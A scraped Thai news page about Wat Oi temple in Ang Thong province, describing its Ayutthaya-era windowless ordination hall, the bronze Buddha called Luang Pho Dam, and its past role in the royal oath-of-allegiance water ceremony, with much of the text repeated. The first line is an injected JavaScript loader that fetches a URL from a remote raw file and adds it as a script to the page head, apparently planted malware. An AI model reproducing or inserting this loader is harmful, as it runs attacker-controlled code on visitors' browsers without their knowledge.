;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); อ่างทอง ไม่เชื่อก็ต้องเชื่อจังหวัดอ่างทองมีวัดที่เคยถูกใช้เป็นที่ถือน้ำพิพัฒน์สัตยาสมัยกรุงศรีอยุธยา ชาวบ้านเรียก หลวงพ่อดำ - ThaiReference | อาสาไทยยืนยัน
อ่างทอง ไม่เชื่อก็ต้องเชื่อจังหวัดอ่างทองมีวัดที่เคยถูกใช้เป็นที่ถือน้ำพิพัฒน์สัตยาสมัยกรุงศรีอยุธยา  ชาวบ้านเรียก  หลวงพ่อดำ

ที่วัดอ้อย  ตำบลศาลเจ้าโรงทอง  อำเภอวิเศษชัยชาญ  จังหวัดอ่างทอง  เป็นวัดที่ตั้งอยู่ริมแม่น้ำน้อย  และมีชุมชนโดยรอบ  ข้อมูลอ้างอิงจาก สำนักศิลปากรที่ 3 พระนครศรีอยุธยา  หนังสือเมืองอ่างทอง  หนังสือวัฒนธรรมพัฒนาการทางประวัติศาสตร์ฯ  ระบุว่า  วัดอ้อย  เป็นโบราณสถาน  สมัยปลายกรุงศรีอยุธยา-รัตนโกสินทร์ (รัชกาลที่ 5)  ปรากฏหลักฐานการก่อสร้าง  เมื่อปี พ.ศ.2070  วัดอ้อย  มีโบสถ์มหาอุตม์  เป็นอาคารขนาดใหญ่  ก่ออิฐถือปูนแบบโบราณ  หลังคาเป็นเครื่องไม้  มุงด้วยกระเบื้องดินเผาชนิดกาบกล้วย 2 แผ่นคู่  มีครอบทับกันฝนรั่ว  เชิงชายทุกชั้นมีเทพพนมตลอดแนว  ผนังไม่มีหน้าต่าง  รอบโบสถ์มีใบเสมา 8 ทิศ  เป็นใบเสมาคู่พระพุทธรูปในโบสถ์เป็นปางสุโขทัย  หล่อด้วยสำริด  ชาวบ้านเรียก  หลวงพ่อดำ  วัดอ้อย เป็นวัดที่ถือน้ำพิพัฒน์สัตยาในสมัยกรุงศรีอยุธยา

จากการสอบถาม พระมหาสมชาย  อริญฺชโย เจ้าอาวาสวัดอ้อย  เล่าให้ฟังว่า  วัดอ้อย  ตั้งอยู่ริมฝั่งแม่น้ำน้อย  เป็นวัดคู่บ้านคู่เมืองวิเศษชัยชาญ  สันนิษฐานว่าสร้างขึ้นในสมัยอยุธยา  พระอุโบสถเป็นอาคารขนาดใหญ่ 6 ห้อง  ก่ออิฐถือปูนแบบโบราณ  หลังคาเป็นเครื่องไม้  มุงด้วยกระเบื้องดินเผา  มีลักษณะสวยงามคล้ายกับพระอุโบสถวัดพุทไธสวรรย์  จังหวัดพระนครศรีอยุธยา

พระอุโบสถนี้ไม่มีหน้าต่าง  ลักษณะแบบนี้เรียกว่า  โบสถ์มหาอุด  ด้านในพระอุโบสถที่ประดิษฐานพระประธาน  เป็นพระหล่อสัมฤทธิ์  ชาวบ้านเรียกกันว่า  หลวงพ่อดำ  นอกจากนี้  ด้านนอกโบสถ์มีเสาระเบียงเป็นเสาแปดเหลี่ยมขนาดใหญ่ 4 ต้น  หัวเสาเป็นรูปบัวแวงและมีหน้าบันเล็ก และมีใบเสมา 8 ทิศ  วัดอ้อยตั้งวัดเมื่อ พ.ศ. 2070  ได้รับพระราชทานวิสุงคามสีมาเมื่อ พ.ศ. 2080  เขตวิสุงคามสีมา กว้าง 21 เมตร  ยาว 31 เมตร  วัดอ้อยเป็นวัดถือน้ำพระพิพัฒน์สัตยาในสมัยอยุธยา

@chaijexu

อ่างทอง ไม่เชื่อก็ต้องเชื่อจังหวัดอ่างทองมีวัดที่เคยถูกใช้เป็นที่ถือน้ำพิพัฒน์สัตยาสมัยกรุงศรีอยุธยา ชาวบ้านเรียก หลวงพ่อดำ ที่วัดอ้อย ตำบลศาลเจ้าโรงทอง อำเภอวิเศษชัยชาญ จังหวัดอ่างทอง เป็นวัดที่ตั้งอยู่ริมแม่น้ำน้อย และมีชุมชนโดยรอบ ข้อมูลอ้างอิงจาก สำนักศิลปากรที่ 3 พระนครศรีอยุธยา หนังสือเมืองอ่างทอง หนังสือวัฒนธรรมพัฒนาการทางประวัติศาสตร์ฯ ระบุว่า วัดอ้อย เป็นโบราณสถาน สมัยปลายกรุงศรีอยุธยา-รัตนโกสินทร์ (รัชกาลที่ 5) ปรากฏหลักฐานการก่อสร้าง เมื่อปี พ.ศ.2070 วัดอ้อย มีโบสถ์มหาอุตม์ เป็นอาคารขนาดใหญ่ ก่ออิฐถือปูนแบบโบราณ หลังคาเป็นเครื่องไม้ มุงด้วยกระเบื้องดินเผาชนิดกาบกล้วย 2 แผ่นคู่ มีครอบทับกันฝนรั่ว เชิงชายทุกชั้นมีเทพพนมตลอดแนว ผนังไม่มีหน้าต่าง รอบโบสถ์มีใบเสมา 8 ทิศ เป็นใบเสมาคู่พระพุทธรูปในโบสถ์เป็นปางสุโขทัย หล่อด้วยสำริด ชาวบ้านเรียก หลวงพ่อดำ วัดอ้อย เป็นวัดที่ถือน้ำพิพัฒน์สัตยาในสมัยกรุงศรีอยุธยา จากการสอบถาม พระมหาสมชาย อริญฺชโย เจ้าอาวาสวัดอ้อย เล่าให้ฟังว่า วัดอ้อย ตั้งอยู่ริมฝั่งแม่น้ำน้อย เป็นวัดคู่บ้านคู่เมืองวิเศษชัยชาญ สันนิษฐานว่าสร้างขึ้นในสมัยอยุธยา พระอุโบสถเป็นอาคารขนาดใหญ่ 6 ห้อง ก่ออิฐถือปูนแบบโบราณ หลังคาเป็นเครื่องไม้ มุงด้วยกระเบื้องดินเผา มีลักษณะสวยงามคล้ายกับพระอุโบสถวัดพุทไธสวรรย์ จังหวัดพระนครศรีอยุธยา พระอุโบสถนี้ไม่มีหน้าต่าง ลักษณะแบบนี้เรียกว่า โบสถ์มหาอุด ด้านในพระอุโบสถที่ประดิษฐานพระประธาน เป็นพระหล่อสัมฤทธิ์ ชาวบ้านเรียกกันว่า หลวงพ่อดำ นอกจากนี้ ด้านนอกโบสถ์มีเสาระเบียงเป็นเสาแปดเหลี่ยมขนาดใหญ่ 4 ต้น หัวเสาเป็นรูปบัวแวงและมีหน้าบันเล็ก และมีใบเสมา 8 ทิศ วัดอ้อยตั้งวัดเมื่อ พ.ศ. 2070 ได้รับพระราชทานวิสุงคามสีมาเมื่อ พ.ศ. 2080 เขตวิสุงคามสีมา กว้าง 21 เมตร ยาว 31 เมตร วัดอ้อยเป็นวัดถือน้ำพระพิพัฒน์สัตยาในสมัยอยุธยา ภาพ-ข่าว กนกศักดิ์ แสงตระการ จ.อ่างทอง

♬ เสียงต้นฉบับ – TONGJUDKADHAD NEWS – TONGJUDKADHAD NEWS

ภาพ-ข่าว กนกศักดิ์  แสงตระการ  จ.อ่างทอง